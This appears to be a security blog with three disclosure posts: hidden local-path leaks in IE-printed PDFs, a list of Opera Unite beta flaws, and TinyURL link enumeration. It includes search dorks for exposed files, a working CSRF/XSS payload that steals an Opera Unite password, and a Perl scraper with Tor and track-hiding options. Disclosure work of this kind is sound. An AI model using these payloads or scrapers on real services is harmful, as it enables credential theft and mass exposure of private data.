I found an interesting privacy issue while analyzing PDF files. This bug occurs when you are using Internet Explorer to print locally saved web pages as PDF and affects all IE versions including IE8. It does not matter which PDF generation software you are using like Adobe Acrobat Professional, CutePDF, PrimoPDF, etc as long as you are invoking it from inside the IE print function. In Windows, even when your default browser is not IE and if you right click a file to select the PRINT from the context menu, then by default it invokes the IE print handler. So, you will still see this issue in the generated PDF.
This bug is NOT ABOUT the local disk path appearing in the FOOTER of your pdf since it is clearly visible and already known by most people. This is easy enough to hide by just going File -> Page Setup -> Change the Footer value from “URL” to “-Empty-”. After doing that, you will not expect your internal disk path being put anywhere else. However, that does not happen.
The privacy issue arises from the fact that your local disk path gets invisibly embedded inside your PDF in the title attribute. Only when you open the file in an Editor like Notepad, you will see it. Currently, there is no option in IE to disable it. The only workaround is to manually nullify this value by editing the PDF file. Note that this problem does not occur when using other browsers such as Firefox and Chrome. In fact, Chrome handles the other footer issue intelligently as well by showing your disk path as “…”, rather than exposing it.
Proof of Concept:
Steps to reproduce:
1. Pick a .HTM or .HTML or .MHT file on your local computer.
2. Open this file in IE and click Ctrl-P.
OR Right-click the file in explorer and select PRINT from context menu.
4. Select any PDF writer as Printer such as Adobe PDF / CutePDF / PrimoPDF / etc.
5. Click Print. When the PDF writer asks for a filename, provide any name.
6. Open the generated pdf in notepad, and search for “file://” without quotes.
Search for this on your favorite search engine (Google/Bing)
filetype:pdf file c (htm OR html OR mhtml)
Google Search 1 (for drive C) – 4 million results
Google Search 2 (for drive D) – 13 million results
and so on…. (I added till drive letter J and total was more than 50 million….)
So, out of 280 million pdfs accessible on the internet, more than 20% look to be exposing internal disk paths which is a huge number. I have contacted the Microsoft and Adobe Security Teams about this issue. Microsoft has plans to fix this in IE9, while Adobe has opened the case but hasn’t planned the timelines yet.
Opera Unite, the upcoming version of the Opera browser has a strong vision to change how we look at the web. For those who are unknown to this radical technology, it extends your browser into a full-blown collaboration suite where you can chat with people, leave notes, share files, play media, host your sites, etc. (Wow!!).
Opera Unite comes bundled with a bunch of standard services such as Fridge (Notes), The Lounge (chatroom), etc. It is important to understand that these services have two distinct views. One view is of the Service Owner, who installs, customizes and runs these services on his or her computer. The service owner and the computer running these services have associated identifiers. By default, computer name is “home”. So, your administrative homepage is http://admin.home.uid.operaunite.com/. Remember that even though the protocol of communication looks like http, it is not. Opera relays all traffic using a proprietary ucp protocol (encrypted) to asd.opera.com and auth.opera.com (no protocol details except here). The other view is of the Service Page which is used by your users (friends, customers, etc) to access your selected content. These trusted users can access your services from any browser (not just opera unite) and uses the plain http protocol. The service homepage is http://home.uid.operaunite.com/.
I was fascinated by this idea, so I decided to look at the security aspects of the product (while it was in beta). Here are my findings in no particular priority order (tested on 10.00 Beta 3 Build 1703). I am including the PoC in their respective sections. Remember to change “home” with your computerid and “infernosec2” with your userid.
1. Enumerating Service Owner Usernames — Well, if you want to carry out targeted attacks against a particular user, it is easier to do so by guessing his or her username. Usernames are generally firstname/lastname/firstname.lastname, etc. However, for more generic attacks, Opera Unite makes our task easier by allowing Google to index its user’s pages (configurable). Here is the output from a simple query – site:operaunite.com
2. Enumerating Computer names for a particular Service Owner — Once you decide on your target service owner, the next step is to determine which computers belong to him or her. Note that from the search engine, you might only get few computer names and not all since owner might have elected to not index the private ones. However, if you visit the service homepage with any non-existent computer name, then Opera Unite happily discloses all computer names used by that person.
3. Enumerating Service Owner Server IP address and Port number — If you are a service owner and is thinking that your identity is masked by Opera Unite Proxy Servers, think again. Opera Unite discloses your IP address and Port number to any user (even unauthenticated) who visits your service pages. I have tested this to work on File Sharing and File Uploader Services. Just do a view-source: on any of those pages.
4. Hijacking Insecure Communication in Service Pages — While Opera Team has taken adequate steps to secure the Service Owner’s communication with Opera Unite Servers (using proprietary ucp), however, the communication of Service Page users with Opera’s Server is plain http and there is no choice to use https (like you cannot do https://home.infernosec2.operaunite.com/file_sharing/content/). These users use sensitive credentials to login to your services and need the same kind of security as the service owner. What is more shocking is that the user management system at my.opera.com does not support https. Try visiting https://my.opera.com/
5. Hosting Phishing Pages and other Malware on Trusted Operaunite.com — As an attacker, you can use Opera Unite to serve phishing pages and malware content from your profile. Both file sharing and file uploader services render the service owner content inside the browser, leaving user vulnerable to phishing and other malware attacks. For example, before serving some content, I phish the user to provide his or her opera unite credentials. User might think that the content is coming from trusted operaunite.com and hence has a high probability of falling to this spoof.
6. CSRF-ing a File Upload from a Trusted User — Lets say a trusted user is using your file uploader service, i.e. he or she has provided credentials to access it. At the same time, if that user goes to my evil site, I can make him upload arbitrary files to your computer, thereby breaking the trust you have in that user. If the service owner accidentally clicks on that file, it renders inside the browser (thanks to automatic MIME type detection) and poof your XSS executes. In the example below, I have written code to steal your service access password. Please note that this exploit requires that your trusted user is accessing the service from any browser other than Opera since Opera escapes the filenames properly. This exploit is out for the last 1.5 years, but browser vendors haven’t felt the need to fix this (still works for IE8, Firefox 3.5.2).
<html>
<form method="post" action="http://home.infernosec2.operaunite.com/file_uploader/content/upload" enctype="multipart/form-data">
<textarea name='file"; filename="evil"
Content-Type: text/html; '>
<html>
<script>
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == 4) {
if (xhr.status == 200) {
var pattern= /<[^>]*unite-aclPassword" value="([^>]*)">/i;
if(pattern.test(xhr.responseText))
{
alert("Your acl password is: "+RegExp.$1);
}
}
}
};
xhr.open('GET', 'http://admin.home.infernosec2.operaunite.com/file_uploader/admin/', true);
xhr.send(null);
</script>
</html>
</textarea>
</form>
<script>
document.forms[0].submit();
</script>
</html>
7. CSRF-ing a Note on the Fridge — Fridge service is an unauthenticated service that is meant for people to leave notes on your computer. If you turn on this service, an attacker can leave weird derogatory fun notes or just fill the queue (default limit -24) so that noone else can post anything. However, he might not want to do that since his ip etc might be getting logged by Opera Servers. So, the better or more stealthy way is to make other users do it for him. Any user that visits his evil site can be made to automatically post notes to any Opera Unite Profile. This includes the service owner as well who can be forced to post something on his computer .
8. CSRF-Ing anyuserid to join a chatroom — Similar to (6), you can force any trusted user (who is already authenticated to your chatroom with a particular userid) to rejoin with alternate usernames. He or she cannot be forced to post anything (csrf protection), however, this can abused to disrupt any existing conversation. I still have a hard time understanding why anyone wants to allow such functionality ?
9. XSS ing the unite-session-id cookie, works for almost all services — There is an XSS issue in the unite-session-id cookie, whose value gets echoed in the javascript of http response. I would call this as a low severity issue since this attack of overwriting http headers is only possible to do with older versions of Flash (like 7,8,lower versions of 9) and IE6. Still a bug though
10. Clickjacking any Service Page — Opera Team has taken necessary steps to protect the service owner pages from any type of clickjacking exploits. However, they do not provide any protection for the service pages. With the current list of default services and operations allowed from trusted user, I cannot think of interesting exploits. One example can be to clickjack a chatroom user and force him to logout of a conversation. I didn’t get much time to spend on this. But when more and more people start writing their own opera unite services that allow dynamic user interactions, this type of protection will definitely be required.
11. Inconsistency in Password Policy for some services — Most opera unite services are initialized and protected by a default 8 or 9 digit alphanumeric password. However, the photo service is protected by a default 4 char password, which is easily breakable by brute force (looks like photos are considered less private than files). Also, chatroom is out-of-the-box unauthenticated and even if you enable password protection, it picks up a default password “default”. So, your users will have to generate a strong password themselves, which is highly unlikely.
References :–
1. Clickjacking – Jeremiah Grossman and Robert “RSnake” Hansen
http://ha.ckers.org/blog/20081007/clickjacking-details/
2. Forging HTTP Request Headers with Flash – Amit Klein
http://www.securityfocus.com/archive/1/441014
3. Exploiting XSS Vulnerabilities on Cookies – Sirdarckcat
http://sirdarckcat.blogspot.com/2008/01/exploiting-xss-vulnerabilities-on.html
I am sure everyone has heard and used TinyUrl before. If you don’t know, TinyURL is kind of a web service that provides short aliases for easy redirection to long urls. The service is completely free and hence most people are tempted to use it. It solves the hard problem of remembering overly long urls.
There have been security vulnerabilities reported in TinyURL in the past, one of them is discussed by security researchers Pdp and Kuza55 here and here.
I would like to discuss another vulnerability here. I see an authorization issue with the way these user generated urls are accessible to anyone. Anyone can write a simple automated script to enumerate a large set of urls. The proof of concept code is shown below. I ran this script for a short while and was amused to see the amount of sensitive personal information that people unknowingly left in the URLs.
Some of the things I found include
Username and Passwords in URLs : Weak web apps using credentials in GET still exist.
Intranet URLs of Giant Corporations : Internal apps are generally not written with security in mind (fallible employee trust rule). Also, I see many urls that refer to internal company projects, bug databases, etc.
Session ID in URLs : Many apps still pass session identifier as part of url. If the session identifier is active, your session can be easily hijacked.
Spam URLs : This has been discussed many times in different places. Examples here and here.
Resource Enumeration: I haven’t verified this, but definitely see it as a problem. If the resource pointed by the url is not protected by proper access controls, then an attacker can easily access it. Attacker does not need to guess the overly long url.
Download POF Code here. Use this code at your own risk.
#TinyURL URL Enumeration Script
#By Inferno {at} Securethoughts.com
use IO::Handle;
use LWP::UserAgent;
use Time::HiRes qw( sleep );
my $ua = LWP::UserAgent->new;
$ua->max_redirect(1);
#If you want to use Tor to protect your identity.
#$ua->proxy(['http'], 'http://127.0.0.1:8118/');
my $nd=""; # Length of ID
my $num=""; # Value of ID
my $url=""; # TinyURL Redirection Script Call
my $content=""; # HTTP Response from Redirection
my $temp=""; # Temporary Variable
open FILE, ">>:utf8", "tinyurl.out" or die("Cannot open file for output");
while(1)
{
# Pick up a random ID length and value
$nd=int(rand(8))+1;
$num="";
for($i=1;$i<=$nd;$i++)
{
$s=int(rand(36));
$num.=($s>9)?chr($s+55):$s;
}
$temp="Processing ".$num."\n";
syswrite(STDOUT, $temp, length($temp));
# Construct the TinyURL Redirection URL
$url = 'http://www.tinyurl.com/redirect.php?num='.$num;
my $request = new HTTP::Request("GET", $url);
my $response = $ua->request($request);
$content=$response->as_string;
# Check if a Location Header is present & write the URL.
if($content =~ m/(Location\: )(.*)/i)
{
$temp=$num." ".$2."\n";
syswrite(FILE, $temp, length($temp));
}
#Use this if you want to hide you tracks with a random delay
#sleep((int(rand(500))/100.0));
}
close (FILE);
exit 0;